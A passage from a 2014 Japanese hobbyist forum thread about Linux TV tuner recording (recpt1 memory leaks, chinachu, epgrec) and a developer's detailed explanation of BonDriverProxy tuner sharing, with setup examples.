本来とは違うバージョンのソースにパッチ当てたってこと? 普通に考えるとまともに動かないだろ ちゃんとにソース読んで確認した? それができないのであれば配布されてるものそのまま使うべき
379 :
376 :2014/06/05(木) 20:55:05.09 ID:4T47rBOf
>>378 確認・ご指摘ありがとうございます。
残念ながら、この最新版用をパッチ当てても症状は同じでした。
recpt1 を --http オプションを付けてdaemonとして立ち上げておき、http interfaceを通してvlcで
tvのリアルタイム視聴をしているのですが、チャンネルを変更するたびに(httpを叩くたびに)recpt1の
メモリー使用量が増えていくのが観察できます。 そちらではこんな事はありませんか?
因みに、vlcでのリアルタイム視聴やチャンネル変更は全く問題なくできています。
>>379 メモリリークしてるっぽいね。
当方 dlna での視聴では発生していないので、
http オプション固有の問題かも?
381 :
login:Penguin :2014/06/06(金) 02:45:21.62 ID:g8zCdq2U
デコーダをリリースしていらなくなったARIB_STD_B25_BUFFERを開放してないんじゃないか
chinachuで、EPG更新するとcpuをかなり持っていかれる。 12ch分チューナつんだのもあるんですけど、空いているチューナ全部使ってるみたいなので、 これを1〜2chずつゆっくりepg取得するようにカスタマイズしたいと思ってるんですが、 やっている人はいませんか?
>>382 うち、chinachuだけどロードアベレージ
0.6越したことないんだけど
xeon e3v2下の仮想環境でcpu2つ割り当て
pt3x3だから12ch
>>383 ウチの環境だと1ch録画中で、0.7位までいってしまいます。
見よう見まねで、小型&多チャンネル目的にして、以下の環境作りました。
どこかチューニングしたらまともになるんでしょうかね?
[環境]
アプリ: chinachu
MB: ECS H81H3-M4, CPU: Pentium G3220T(2c2t、2.6Ghz), MEM:4GiB
OS: CentOS6.5, tuner: pt3 & pxq3pe
load avgは
・1ch録画時: 0.5〜0.7位
・chinachu update -f 実行中
epg用ts録画中(8ch分): 2.0 〜 3.0
epgdump実行中(8ch分): 10.0超 !!!
pxq3peっていつの間にlinux対応してたんだ?? 知らなかったわ。TS抜きも出来るの?
386 :
Penguin :2014/06/08(日) 09:40:57.60 ID:xy7zHSjr
epgrec unaのDBを使って明日放送されるドラマ・アニメの新番組一覧を出力するSQL文を作ってみたが、取りこぼしちまう。もっと精度高くできないかな。 SELECT Recorder_channelTbl.name, Recorder_programTbl.title FROM Recorder_programTbl JOIN Recorder_channelTbl JOIN Recorder_categoryTbl ON Recorder_channelTbl.channel_disc = Recorder_programTbl.channel_disc AND Recorder_categoryTbl.id = Recorder_programTbl.category_id WHERE Recorder_programTbl.endtime > now( ) AND CONCAT( Recorder_categoryTbl.id ) REGEXP '(4|8)' AND CONCAT( Recorder_programTbl.title ) REGEXP '( 第(1|1)話|\\\[新\\\]|<新>|#1$|#1$|#1$)' AND CONCAT( Recorder_programTbl.starttime ) REGEXP "$nextday" ORDER BY Recorder_programTbl.starttime ASC LIMIT 300;
【無】消したら録画したあと捗る
出来る出来ないは質問以前の話だろ
httpサーバーなしをValgrindで実行してみた所、メモリリークは一箇所でした。
http://hg.honeyplanet.jp/pt1/rev/c8688d7d6382 ==7209== 16,360 bytes in 1 blocks are definitely lost in loss record 1 of 1
==7209== at 0x4C2AB80: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==7209== by 0x402163: main (recpt1.c:883)
883: bufptr = malloc(sizeof(BUFSZ));
recpt1.c の 883行目でmallocしたメモリをfreeしてないということの様ですが
録画終了時の処理なのですぐにプロセス終了で回収されるでしょうね。
httpサーバー版だと通らない所に見えるので関係性はなさそうです。
これはちょっと期待
>>394 おぉー、Linux側を鯖にして、Windows側をクライアントで使用している場合には
可能性が広がりますね。
Githubで公開とか出来ませんか?
>>396 一応、Linuxで実行するアプリの場合でもBonDriverインタフェースを使う形で実装すれば、
このツール経由でチューナ共有やチャンネル変更の優先権の設定機能は利用可能になるので、
クライアントはWindows限定ってわけじゃないんです
サンプルとしてBonDriverインタフェースを使用して生TSストリームを保存するプログラムのソースを
入れてるので、開発者の方にはそれ見てもらえればBonDriverの大体の使い方はわかるかと思います
サンプルをちょっと変更して、生TSではなくてスプリット/デスクランブルしたものを出力するようにすれば、
ストリーム配信とかも大した手間かけずに可能です
現状のままでも、epgrecを若干修正してTS保存アプリとしてこのサンプルを起動するようにすれば、
epgrecの大改造無しに録画機能がBonDriverインタフェース対応になりそうな気もします
#未確認ですが
BonDriverインタフェースに関しては、Unix系の環境では普及してないので何それて方も多いかもしれませんが、 アプリ側が正しくBonDriverインタフェースを利用している限り、それがBonDriver_LinuxPTであれ BonDriver_Proxyであれ、あるいは誰かがつくるかもしれないBonDriver_LinuxW3PEであれ、 正しく機能する事を保証するのがBonDriver層の仕事です 実際のデバイスの差異をBonDriver層で吸収してしまう事で、新しいデバイスが出てきた場合にも 上位層のアプリは修正不要になるはずです #当然そのデバイス用のBonDriverは必要になりますが 例えば、recpt1をBonDriverインタフェースを使用するように改造した場合、今後特定デバイスへの対応と言う 意味での変更は不要になる、みたいな感じです とまあそんな意図から、Unix系の開発者の方にもBonDriverインタフェース使いませんかと提案してみた次第です
unko now ってなんだよwwww
そうして誰も使わなかった FIN
現状Linuxアプリは直接PT3ドライバ叩いてるけど、BonDriverインターフェース経由してアプリの界面を共通化しよう ということであってる? あとそもそものBonDriverProxyの役割がよくわからない
recpt1のhttp機能を使うタイプのBonDriverはすでにあるから、TvTest等BonDriver対応アプリから使うのはすでに出来てるね メリットはチューナーの優先制御あたりですかね
BonDriver対応クライアントが便利だったら普及しそうだけど 現状recpt1を使ってepgrecとvlcがあれば事足りるからな〜 使ってないからよくわらかんけどDVBみたいなもの?
>>400 unknownのアナグラムがうんこなうになる程世の中は甘くはない
でも一字違いなんだよな、惜しい
Linuxには既にDVBドライバという共通I/Fがあるわけだが
pt1_ioctl改変って何が、変わってんの?
sample.cppみて思ったんだが 「使用スペース指定」ってなに? 基本的な仕様がわからないようでは相手にされないと思うよ あと具体的なメリットと運用例を挙げるとかさ
なんかカン違いしてるかもだが、Ex版との違いって? epgrecで録画で使っているチューナーをリアルタイム視聴にも 回したいといった用途だとEx版じゃないとだめ?
>>400 実は当方もアカウントつくってからそう思いました(;´Д`)
>>402 そんな感じです
BonDriverProxyは、BonDriverインタフェースに対応しているアプリと実際の使用BonDriverをTCP経由でプロキシするものです
基本的にはリモート視聴用途ですね
このプロキシの際の副次的な機能として、クライアント1と2から同じBonDriver(大抵の場合は=物理チューナです)を要求された場合は、
そのチューナからのTSストリームを両方のクライアントに配信します
なので、同じ物理チャンネルなら複数のユーザが同じチューナを利用して視聴できる形になります
#プロキシ対象がBonDriver_LinuxPTなら配信対象は生TSストリームになるので、同じトラポン内の別サービスを
#それぞれのクライアントが利用するというのも可能です
#例えばクライアント1はフジテレビnextを、クライアント2はフジテレビoneをみる、みたいなパターンですね
またチューナを共有しているユーザ同士の間で、チューナのチャンネル変更権の優先度を設定する事が出来ます
クライアント1はいつでもチャンネル変更できるけど、クライアント2は優先権を持ったユーザが接続していない場合のみ変更できる、
みたいな設定です
これは、誰かがリアルタイム視聴してても録画機能はチャンネルを持って行けると言う様な用途を想定しています
まあぶっちゃけSpinelと同じようなもんだと思ってもらえばそれ程間違いは無いかと
>>403 BonDriver_HTTPですね
あれはrecpt1をhttpプロトコル経由でチャンネル指示を受けてストリーム配信開始するように改造したのを、
TVTest等から受けられるようにするための物なので、Linux側のアプリがBonDriverインタフェースに
対応していると言うわけじゃないんですよね
#ちなみにrecpt1のHTTPサーバ版にはド直球のスタックバッファオーバーランがあるので、そこを修正してない人は
#外部への公開はお勧めしません
>>404 まあそこですよね
ユーザ視点で見れば、正直現状で困ってないのなら移行する必要性はあんまりない感じです
当方の提案はどっちかと言うと、ユーザではなく開発者向けのものですね
>>406 そうなんですが、現在のところ(少なくとも日本では)一番メジャーだと思われるrecpt1では使われてませんし、
BonDriver層はどっちかと言うとそれよりもう一段上位層に位置してそうなイメージです
Windowsでは事実上標準のインタフェースにする事で、Windows用のソフトを移植しやすくなるんじゃね?てのもあります
EDCBのUIはともかくエンジン部分とかですね
>>407 LNB用のioctlに引数がついてpt3_ioctlと同じになってます
>>408 BonDriverは、そのドライバ毎にスペース/チャンネルと実際のデバイスの物理チャンネルとの対応を内部的に持つ形になります
例えばUHFでの物理チャンネルが27でも24でも、BonDriver側の設定で、アプリからは同じチャンネルに見せる事が出来ます
テレビのリモコン番号のイメージですね
#ただ、おそらくもっともメジャーなBonDriver対応アプリであるTVTestでは、チャンネルスキャンする事によって、
#そこから更に内部的に放送局とあるBonDriverでのスペース/チャンネルとの対応を把握して保存する形なので、
#「アプリに同じチャンネルに見せる」と言う機能はあんまり活用されてない感じですが
スペースに関しては便宜的な物で、BS空間とCS110空間を分けて扱いたい、みたいな場合に使う感じです
と言うのが当方の理解です
当方もBonDriverインタフェースの考案者に意図を確認したわけではないので、各種BonDriverの挙動からの判断となってしまいますが…
で、BonDriver_LinuxPTで言えば、スペースは使用しておらず、0固定です
具体的には、PT3のS0を使う場合、スペース0のチャンネル0はBS朝日、スペース0のチャンネル17はNHK-BS1、みたいな感じで
confファイルに設定してます
BonDriverインタフェースに移行するメリットは、開発者的には
>>402 さんの通りですが、
ユーザ的には正直あんまりないかもしれません
#BonDriverProxyを使うと言う前提でなら、
>>410 で書いた様な運用が可能になりますけども
>>409 Ex版の方は使用BonDriverの選択を自動にして、クライアントからの要求毎になるべく少ない数のチューナで対応しようと言う物です
VirtualPTみたいな機能が欲しいって声があったので、つくってみたって感じの機能です
チューナの共有は無印でも可能です
例えばepgrecが起動するアプリからBonDriver_Proxyを使用して(チャンネル変更権を設定して)TS保存する形にすれば、
別アプリからやはりBonDriver_Proxy経由でそのチューナがリクエストされた場合には、そちらには(チャンネル変更権を
設定していない限り)録画中のチャンネルのTSストリームが配信されます
なるほど 自分で言っておいてなんだけど、アプリケーションのインターフェースをBonDriverで統一したとしてもWindowsアプリをLinuxに移植できる訳じゃないよね? いまいちメリットを理解出来てないw
>>412 全然ついていけんw
BonDriverのことがわからんのがいかんな・・・
なんとかBonDriverProxy動くとこまで行きたいけど・・・
・1つのチューナーで同じチャンネルを複数プロセス(録画・視聴・EPG取得)で同時利用できるので ・同じチャンネルの連続した番組を1つのチューナーでそれぞれに糊代をつけたまま録画できる ・野球などの録画延伸とEPG更新が同時にできる。 が簡単にできるようになるね で質問なんだけどチューナーの使用状況(使用の有無・チャンネル・用途)がわかるAPIてあるの?
以下、ユーザー視点の勝手な感想ってことで。 WindowsのBonDriverの考え方を持ち込むのは?だと思う。 新しいチューナーが出たとして、そのチューナーのLinux用ドライバに加えて BonDriverを書かなきゃ使えないということになるよね?それはさすがに厳しす ぎるだろうと思うなあ。現状見てもPT3でchardevドライバ版しか使えないって ことだろうし。 他の人も書いているけど、LinuxにはDVBがすでにあるのだし、サーバー側の チューナー制御がDVB経由なら対応チューナーが一気に増えると思う。DVB ドライバがあるFriio白,PT1,PT2,PT3,PX-S1UDが使えるのではないのかな? DVB用BonDriverで良いのかもしれないけど。あとサーバー側でB25デコード 機能は欲しい。 WindowsでSpinel使っていたから、Linuxには、ネットワーク経由でチューナー 共有や制御できる機能がないのは残念だなと思っていたので期待してる。
確かにBonDriver_DVBとか作ってそこでB25デコードすりゃ使い勝手はよさそうだな だけどBonDriverのinterfaceでは視聴してるサービス知らせるすべが無いから CSのデコードは全サービスをデコードするしか無いからなぁ
>CSのデコードは全サービスをデコードするしか無いからなぁ FUSE_B25はどうしてる?
LinuxにBoDriverインターフェースを採用する話とBoDriverProxyの話が混ざってよくわからなくなってる
>>413 > アプリケーションのインターフェースをBonDriverで統一したとしてもWindowsアプリをLinuxに移植できる訳じゃないよね?
ですね
単に現在BonDriverインタフェースを使ってるアプリが移植しやすくなると言うだけです
>>414 PTの刺さってるLinuxマシンがあるならすぐに試せますよ
まあ今LinuxでBonDriverインタフェース使ってるアプリはBonDriverProxy本体とそのおまけのサンプルアプリだけでしょうから、
それでしか試せませんが…
例えばBonDriver_Proxy.soの指定BonDriverをBonDriver_LinuxPT.soとして、BonDriver_LinuxPT.soは/dev/ptXvideo0
を使う様に設定して、サンプルアプリではBonDriver_Proxy.soを使用して複数起動すれば、チューナの使用は一つだけですが、
起動した数だけの録画が行われるはずです
上記設定で、
$ ./sample -b ./BonDriver_Proxy.so -s 0 -c 0 -t 10 -o a.ts & sleep 3;./sample -b ./BonDriver_Proxy.so -s 0 -c 17 -t 5 -o b.ts
な感じで実行した場合、a.tsには最初の3秒がBS朝日で残りの7秒がNHK-BS1、b.tsには5秒のNHK-BS1が出力されるはずです
#ただしこの例の場合、新たな接続があるたびにチャンネル変更要求が投げられそれが受理される形になるので、
#その度毎に既存接続のストリームにはドロップが発生する事になるでしょう
#また、サンプルアプリで保存されるTSは生ストリームなので視聴するにはb25を使うなどしてデスクランブルが必要です
>>415 > 使用の有無
この判定は出来たりできなかったり、BonDriver毎の実装依存です
Windowsの例で言うと、大抵のBonDriverは誰かがチューナを使ってる状態だと、CreateBonDriver()での
インスタンス取得に失敗するか、インスタンスが得られても続くOpenTuner()が失敗します
BonDriver_Proxyの場合はチューナが使用されていても共有する関係で、たとえ使用されていても成功するので
使用されているかどうかはわからないですね
> チャンネル
IBonDriver2.hの
virtual const DWORD GetCurSpace(void) = 0;
virtual const DWORD GetCurChannel(void) = 0;
が現在の(BonDriverとしての)チャンネル取得APIです
ただし、まだオープンしていないチューナの現在チャンネルを知る事は出来ません
また、チューナをオープンして、一度もチャンネル設定のリクエストを出していない状態でも知る事は出来ません
> 用途
これに関してもBonDriverインタフェースとしてはその情報は持っていませんね
なので、録画アプリは自分が使用するチューナのみに関しては被らないようにしなきゃいけないのは変わりません
なお、その辺りの空きチューナ管理なども行い、アプリからはどのチューナを使うのか意識しないでも良い
BonDriverも存在します
#移植してませんが、BonDriveProxyのExの方はそう言う感じの用途向けです
>>420 やっぱわかりずらいな。
BonDriverProxyは起動するんよね?
BonDriver_Proxy.confのBONDRIVERにBonDriver_LinuxPT.soを設定する。
アドレスとポートは起動したBonDriverProxyのを指定。
BonDiver_linuxPT.confには/dev/pt3video0を指定する?
地上波チューナ使う時は別途
BonDriver_LinuxPT-T.soとか別名のsoとconfつくってデバイスを変更する?
sampleが地上波とCSを同時に使うとかはどうするんだろう?
BonDriver_Proxy1とか作って増やすのかな?
>>416 とりあえずchardevドライバ版でつくったのは、単にそれが一番普通に使われてる感じだったからなんですよね
PTシリーズと、あとPX-W3PEもPTシリーズのchardevドライバと(多分意図的に)インタフェースは互換みたいです
#デバイスオープン直後に恐らくスクランブル関連のAPI呼んでますが、それ以外は全く同じです
感覚としては、BonDriver_LinuxPTを雛形にすれば、他のデバイス用のBonDriverつくるのは(デバイスへの
インタフェースが公開されてる限り)そんなに手間ではない感じかなと思ってますが…
BonDriver_DVBは良いアイデアですね
時間が出来たら調べてみます
デスクランブルは…例の著作権法改定のからみで開発者的にはかなりスリリングなので、BonDriverProxyでは
意図的に避けてるんですよね…
#Windows系ではデスクランブル機能を持ってたソフトはTVTestはじめ軒並み機能削除か自粛しちゃいましたが、
#Unix系ではまだごく普通にGitHubに公開されてたりするのでちょっと驚いてるところです
>>417 今時のB-CASカードなら処理速度的には大丈夫なのかなとも思いますが、PT二枚刺しとかでサービス数が
多いトラポンを数チャンネル同時とかはやっぱり厳しいでしょうか
アプリ側でキャッシュを持てば多少マシかな…
まあぶっちゃけsoftcas化がもっとも簡単なんですが、もっとも黒いので選択肢に入りませんね…
>>422 例えば以下PT3一枚の例で話すと、まずBonDriver_LinuxPT.soは物理デバイスと一対一なので四つコピーをつくります
で、それぞれ用にconfもコピーして、使用デバイスに対応させます
e.g.
BonDriver_LinuxPT-S0.so
BonDriver_LinuxPT-S0.so.conf -> /dev/pt3video0を指定
BonDriver_LinuxPT-S1.so
BonDriver_LinuxPT-S1.so.conf -> /dev/pt3video1を指定
BonDriver_LinuxPT-T0.so
BonDriver_LinuxPT-T0.so.conf -> /dev/pt3video2を指定
BonDriver_LinuxPT-T1.so
BonDriver_LinuxPT-T1.so.conf -> /dev/pt3video3を指定
この時点でもサンプルからBonDriver_LinuxPT-S0.so等を指定すれば使えます
で次に、クライアント側のBonDriver_Proxy.soは、基本的には対象BonDriverと一対一なので、これも四つコピーをつくります そのそれぞれのconfは、上でつくったBonDriver_LinuxPT.soのコピーをそれぞれ指定します e.g. BonDriver_Proxy-S0.so BonDriver_Proxy-S0.so.conf -> BonDriver_LinuxPT-S0.soを指定 BonDriver_Proxy-S1.so BonDriver_Proxy-S1.so.conf -> BonDriver_LinuxPT-S1.soを指定 BonDriver_Proxy-T0.so BonDriver_Proxy-T0.so.conf -> BonDriver_LinuxPT-T0.soを指定 BonDriver_Proxy-T1.so BonDriver_Proxy-T1.so.conf -> BonDriver_LinuxPT-T1.soを指定 また、confのADDRESSとPORTはもちろんBonDriverProxyを起動した際の引数と同じものを指定します この状態で、サンプルからBonDriver_Proxy-S0.soを指定すれば、プロキシを通してBonDriver_LinuxPT-S0.soが使用され、 BonDriver_Proxy-T0.soを指定すればBonDriver_LinuxPT-T0.soが使用されます サンプルからBonDriver_Proxy-S0.soを使用中に、別端末からサンプルをやはりBonDriver_Proxy-S0.soを指定して起動すると、 BonDriver_LinuxPT-S0.soが共有され、/dev/pt3video0からのTSストリームが両方に配信されます とまあこんな感じですがわかるでしょうか
>>425 ありがとう。だいぶわかってきた。
もう寝るけどw。むずかしいね。
>>423 まあ、DVBがあるからって要らないってことはないよね。
実際、インストールベースを考えるとWinでの開発が先行するだろうし。
よくわからないんだけど、BonDriver_DVBができたら種類の異なるチューナを隠せるんかな。
例えば、PT3とFriioを持ってるとき、PT3が埋まってたらFriioを使うとか。
今うちでは、もっと上位でそれをやってるんだよね。
Shell Script書いて、recpt1とrecfriioを状況に応じて使い分けるみたいな。
ちなみにそのために、recpt1等をいじって終了ステータスを手直ししてるけど。
スクランブルについては、法的問題以外に純粋に作りの話として、
外部にした方がいいんじゃなかろうか。
ま、それは感覚の問題だけど。
>>427 > よくわからないんだけど、BonDriver_DVBができたら種類の異なるチューナを隠せるんかな。
> 例えば、PT3とFriioを持ってるとき、PT3が埋まってたらFriioを使うとか。
元々BonDriver層はPT3やFriioみたいに別のデバイスの差異を吸収するための物ですから、DVB対応かどうかは関係なく、
アプリからはチューナの差異は隠される事になります
しかしDVBによってそれらのデバイスが同じインタフェースで扱えるのなら、それのインタフェースに対応するだけで
複数デバイス対応のBonDriverになるので、その分開発の手間が減って助かるでしょうね
チューナが使われてるかどうかまで管理するかどうかは実装次第ですが、どっちかと言うとアプリ側に任せるのが普通です
ただこの場合、例えば録画アプリが使おうとしてるチューナを別プロセスが使ってしまうと録画失敗する事になるので、
そうならないようにのチューナ共有アプリのチャンネルロック設定です
#もっとも、チューナを使う全部のアプリが共有アプリ経由でアクセスしないと管理できませんが…
> スクランブルについては、法的問題以外に純粋に作りの話として、 > 外部にした方がいいんじゃなかろうか。 > ま、それは感覚の問題だけど。 その辺は当方もそう思ってます 一つの全部入りの大きなプログラムより、小さな専用ツールを組み合わせて使う方が、何かと小回りが利くので好きです 例えば今あるサンプルを特にいじらなくても、スクランブル解除して保存したいなら $ ./sample -b ./BonDriver_Proxy-S0.so -s 0 -c 17 -t 60 | b25 -v 0 -p 0 /dev/stdin /path/to/file.ts みたいな感じで行けますし、vlcにudpストリーミングしたいなら $ ./sample -b ./BonDriver_Proxy-S0.so -s 0 -c 17 | b25 -v 0 -p 0 /dev/stdin /dev/stdout | nc -u 192.168.0.101 12345 で行けますね #ncはudpでのこう言う用途に関しては微妙な気もしますが 録画やチャンネル変更用のアプリからは、こんな感じでサンプルに適切な引数付けて起動したり殺したりするだけで 良いワケですから、PTユーザに関しては、ある意味BonDriver対応は既に出来てると言えばできてますね… #この例のままでは、クライアントが多数接続してくるとB-CASカードの処理能力の都合でデスクランブルが #間に合わなくなる可能性はありますが
>>428 > チューナが使われてるかどうかまで管理するかどうかは実装次第ですが、どっちかと言うとアプリ側に任せるのが普通です
それについては、チューナ側がTest-and-Set的になっててほしい気がする。
コメントされてるとおり、アプリ同士で協調ってちょっと大変だし。
というか、デバイスアクセスの時点でそうならないんかな。
recpt1のソースなんか見ると、SET_CHANNELのioctlの時点でそれわかるみたいだし。
ただ、じゃあそれで使用中の場合次はどれを、というのはアプリでいいと思うんだけど。
>>429 > 一つの全部入りの大きなプログラムより、小さな専用ツールを組み合わせて使う方が、何かと小回りが利くので好きです
まあ、Linux使いならそういうUNIX的感覚があるんじゃないかとか思ったり。
なんか話が混ざっててややこしくなってるけど アプリってのはBonDriverProxyのことじゃないの? Spinelしか使ったことないけどBonDriverProxyがSpinel相当ならば BonDriverProxy側で排他制御してくれるから全チューナーをBonDriverProxy通して使ってれば 録画、視聴アプリ側では排他制御は気にしなくてもいいでしょ
>>430 ああ、大抵の実装ではあるデバイスがあるアプリから使用されているのを、別のアプリからオープンしようとすると
失敗するので、「試してみればわかる」のはまあ可能なんですが、録画失敗を避ける為にはそれじゃダメですよね
「チューナの録画での使用予定まで全アプリで協調して制御する」あるいは「使われてても強制的に奪う」事が必要になります
前者は多分無理なので、結局チューナへのアクセスは必ず何らかの管理機構を通して行い、その管理機構が後者の処理を
行うのが現実的、と言う事になります
例えばepgrecが、録画が始まるとリアルタイム視聴用に起動してたrecpt1を殺すとか、そう言う話ですね
チューナ共有アプリのチャンネルロック設定も効果としてはこれと似たような物ですが、プロセスごと殺すのではなく、
視聴用のクライアントからそのチューナのチャンネル制御権を奪うと言う物ですね(録画と視聴チャンネルが同じなら、
そのまま視聴が続けられます)
>>431 > Spinelしか使ったことないけどBonDriverProxyがSpinel相当ならば
> BonDriverProxy側で排他制御してくれるから全チューナーをBonDriverProxy通して使ってれば
> 録画、視聴アプリ側では排他制御は気にしなくてもいいでしょ
これは(どのクライアントが録画用/視聴用かが正しく設定されていれば)その通りです
確かにBonDriver全般の話とチューナ共有ソフト(今の場合はBonDriverProxy)の機能の話が混ざっちゃってる気がしますね
Linuxユーザにはどちらもなじみの無い物かもしれないのでしょうがない部分もあるとは思いますが
>>416 chardev→BonDriverの共通ラッパー書けば終わりやん(^_^)
>>423 設定ファイルのデバイスファイル名をpt1にするだけで
「PT2」でも動作しました。
#DEVICE=/dev/pt3video0 → #DEVICE=/dev/pt1video0
>>432 あーなるほど、録画失敗を避けるってのは録画の方を優先したいってことね。
わかるわかる。
それなら、fuserとかでプロセスわかるんだから同じ方法でなんとかなるんじゃなかろうか。
fuserが中で何やってるかよく知らないけど。
でもそれだと、使用中の誰かがリアルタイム視聴なのか録画なのかまではわからないか。
まあ、それについては今度こそアプリ側で
自分の管理対象プロセスかどうかチェックするってことでいいんじゃないかという気がする。
つまり、プロセスを殺せば良い。
recpt1 でちと気になったんだけど coreライブラリに分かれた c9b1d21c5035 からかな、SID指定でTS保存すると字幕情報が取れてない気がするんだけど、みんなどう? 地上波だと PID 0x0114 あたりだと思うんだけど、 ffmpeg で確認するとPIDはあるんだけどtsselectするとパケット無いんだ 古い recpt1 に戻すとちゃんと出てくる CSもPIDは違うんだけど字幕ないみたい SID未指定のフルTSはまだ試してない
UNA版のhttpパッチを使ってるなら同梱されている削除PID追加パッチを適用してないか? >3については通常の映像・音声の再生に支障が無いのを確認していますが無保証です。 >また字幕・5.1chなど私が必要としていないものについては何も検証していません。
>>438 おお、完全に私の早とちりでした。
tssplitter-apnd.diff は当ててないつもりが当ててしまっていたようです。
c8688d7d6382 DLしなおして素のまま build したら平気でした。
ごめんなさい。ありがとうございます。
>>434 その辺はPT1/2とPT3のchardev版ドライバの開発者の方々が、インタフェース互換でつくってくれてるからですね
>>435 >>436 デバイスを使用しているプロセス列挙と、それらが行ってるのが録画なのか視聴なのかが判別できるのであれば
(やりようはいくらでも有るでしょう)、録画開始時に確認して、チューナが足りなければ視聴用プロセス殺せば
とりあえず用は足りますけどね
まあ結局のところ、チューナ共有にメリットを感じるかどうかは人それぞれでしょうから、現状困ってないし
わざわざ導入する事もねぇな、と言うのも一つの考え方として有りだと思います
>>ctsx0K82 今出先でザラっと流れ見ただけなんだけど KVM上のWindows仮想環境で録画ソフト類を動かしておいて hostのPTxにBondriverをTCP/UDP越しにつないで録画しながら同じチャンネルや空きチャンネルを LAN内のクライアントでTvTestで見たりできるようにできる? 今はML110G6をファイルサーバ兼仮想環境サーバにしてあって PT2をPCIパススルーでKVMゲストのWHS2011から見えるようにして spinel+TVrockで録画管理と自動再エンコードしながらLan内の 各部屋のクライアントのWindowsでTVtestで見れるようにしてるんだ 録画したものはWHSがDLNAサーバも勝手にやってくれるんだが たまにKVM上のPT2がこける事があるのでパススルーしなくても良くなるなら ワールドカップ終わったところでやってみる
排他制御とか録画優先とかはプロキシーにホストのIPとデバイスのIDで優先度つけたらどう? niceみたいな感じでIPとデバイスIDごとに優先度をconfに書けば録画鯖のIPからのリクエストは 優先度の低いホストの接続を中断して切り替えちゃう 父ちゃんのホストはかーちゃんのホストより優先度が低いとか デバイスの優先度は最優先のホストに対して決めておいて 優先度の低いホストからはデバイスの優先度も低い順に割り当てられる 切断する場合ホストの優先度>デバイスの優先度にしておいて 優先度の高いリクエストがきたら容赦なく切断されるで良いと思う ついでに希望としては昔あったVirtualPTみたいに チューナー共有サーバ形式でクライアント側のBonDriverは UHF/BS/CS全部を仮想化したチューナとしてサーバと通信する サーバ側はクライアントのリクエストを空きチューナに ホスト/デバイスの優先度順で割り付けるとかできるともっと良いなぁ クライアントのドライバはBondriverとしての インターフェイスとサーバと通信する機能だけで サーバ側は共有制御部分と実デバイスのドライバに分かれる感じで 今はUHF/BS/CSごとにチューナーとドライバをセットで指定してるので クライアントドライバからは実際のデバイスを隠蔽できる方が録画サーバも作りやすいんじゃないか?
>>442-443 PT2+Spinelの分の機能をホスト側に移動したいと言う事ですね
それなら可能だと思います
ただし、BonDriverProxy自体はデスクランブル機能は持っていないので、それに関してはそれぞれのクライアント側で
行う必要があります
#そこに関しては、各クライアントにB-CASカード用意するなり、B-CASカードの処理能力的に大丈夫な範囲で
#BonCasLink等でまとめるなりして下さい
> 排他制御
これに関しては、現在(クライアント側の自己申告で)チャンネルロック権を持つか持たないかの二値だけで制御しています
個人的な要件として、録画用クライアントに確実にチャンネルロック権を持たせる事が出来る事のみが重要だったので
それで事足りているのですが、段階的な優先度の設定も実装するのは多分そんなに面倒ではないと思うので、
必要そうなら考えてみます
#なお、本来的には自己申告でなくサーバ側で設定を持つのが筋ですが、確実に設定が煩雑になってしまうので躊躇してます
> VirtualPT
当方シンプルなのが好みだったので、サーバ側とクライアント側のBonDriverは(機能的には)一対一対応なのをまずつくったのですが、
確かにVirtualPTみたいな制御がしてほしいて声も結構あったので、サーバ側をフォークしてBonDriverProxyExとして公開してます
気が向いたらこっちも移植すれば良いのかな…
チューナの仮想3波化は、BonDriver_RDCTと言うのがソース含めて公開されてるので、上記BonDriverProxyExのクライアントに
設定したBonDriver_Proxyをそれ経由で使えば、要望されてる機能は大体可能かと思いますよ
445 :
391 :2014/06/29(日) 04:54:52.92 ID:NiUCYq/U
空気読まずに投下 destroy_queue(p_queue); をいきなり叩いているのが原因ですね。 p_queue->buffer がリークしている。 暫定パッチ作ったけど欲しい? 夜中の変な勢いで書いたものだけど。
いらねえよ!
>445 ください!
質問です。 chinachuで深夜3:05-5:05の番組を録画予約しました。 ところが直前のサッカー中継が延長され、見たい番組は録画できませんでした。 質問1: chinachuは延長未対応という認識で合っていますか? 質問2: Linux(debian)で使えるソフトで延長に対応しているものはありますか? 初心者質問で申し訳ありませんが、よろしくお願いします。
>>445 ついでだから切断後シグナルマスク戻さないからSIGKILLしなきゃならんバグも直してよ
>450 ありがとうございます〜!
>>450 修正ありがとうございます。
つまらないことでスルーして貰って結構なんですが、こういうのはdestroyで一緒にやる方が良いんじゃないでしょうか。
>>448 まだそういう認識で合ってると思うよ
現状EPG解析はepgdumpでやってるから録画時にリアルタイムで更新できないはず
複数チューナかつ運が良ければ間に合うかもしれないけど。
SI解析も実装する予定でいるらしいが(ポシャった?)
あれをNodeに実用レベルで載せられるかどうか…
455 :
448 :2014/06/29(日) 18:31:24.74 ID:U7BI4yqJ
>>454 ありがとうございます。
延長に対応していないのは残念ですがわかりました。
Schedulerログによるとchinachuは1時間ごとに予約を更新しますが、
録画中や深夜1時から朝5時までは更新を休むようです。
(チューナーはPT2×1+PT3×1)
放送時間の延長に対応するには、一般的に、 読み取った内容を解析すること(スクランブル解除を含む)の他に 単純な録画している時間を、実行中に変化させることができなければいけない 要は、recpt1ctlに相当する機能をすべてのrecxxxに持たせなければいけないということ 例えば、recfsusb2nctl、といったものを個別に作る必要がある こういう点を考えれば、インターフェースを統一してすべてを同じ操作で扱える bondriver形式にもメリットがある windows上でいろいろ揉まれた結果でもあるし さらにspinnel的な扱いが出来ればより良いだろうけどね
PX-W3PE って Ubuntu 14.04 64bit 3.13.0-30-generic で使えます?
>>441 読んで試して見ようと思ったのだけど。
http://www.plex-net.co.jp/product/pxw3pe_download.html からドライバダウンロードして readme.txt 読んでみたけどRelease note
のみでインストール方法や対応ディストリの記述はないです。
insmodはダメでした。
sudo insmod ./asv5220_dtv.ko
insmod: ERROR: could not insert module ./asv5220_dtv.ko: Invalid module format
対応カーネルバージョン以下の様です。
modinfo ./asv5220_dtv.ko
vermagic: 2.6.32-279.5.1.el6.x86_64 SMP mod_unload modversions
カーネルバージョンで検索するとCentOS6とか出てくるのでRed Hat系?
>>450 パッチをみてみたらepgrecUNAの所で配布してるのと構造が違うので調べてみたらRC4か新本家にRC4をそのまま移植したやつ用か・・・
そういえばUNA版は延長対応してなかったっけ?
もうこんなことは辞めてレコーダー買おう
DVB版でも dvb_appsの録画ツール(gstreamer + python)は一応延長対応のはず (
>>39 )
>>459 録画中の番組の延長は知らんけど、
開始前の予約は録画開始前にEIT[p/f]をチェックして追随するようにはなってる。
